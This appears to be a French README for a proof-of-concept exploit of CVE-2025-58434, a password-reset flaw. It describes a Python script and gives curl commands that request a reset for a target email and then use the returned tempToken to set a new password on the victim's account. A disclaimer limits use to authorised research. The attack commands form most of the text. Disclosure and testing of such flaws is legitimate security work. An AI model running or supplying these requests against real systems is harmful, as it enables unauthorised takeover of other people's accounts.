
CVE-2025-58434 Preuve de concept
Script Python de preuve de concept pour déclencher POST /api/v1/account/forgot-password.
⚠️ Uniquement pour la recherche en sécurité à des fins éducatives et autorisées. Exécuter cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de test est illégal.
zaddy6 (Isaac David)arthurgervais (Arthur Gervais)CVE-2025-58434poc.py : demande l'URL/IP de la machine, le protocole facultatif lorsqu'un hôte/IP nu est utilisé, l'e-mail cible et le mot de passe ; puis envoie la requête et affiche le statut HTTP, les en-têtes et le corps de la réponse, comme curl -iExécutez :
python3 poc.py
Fournissez ensuite :
10.10.11.10, http://10.10.11.10 ou https://target.examplecurl -i -X POST https://<MACHINE_URL/IP>/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"<[email protected]>"}}'
curl -i -X POST https://<target>/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{
"user":{
"email":"<[email protected]>",
"tempToken":"<tempToken>",
"password":"NewSecurePassword123!"
}
}'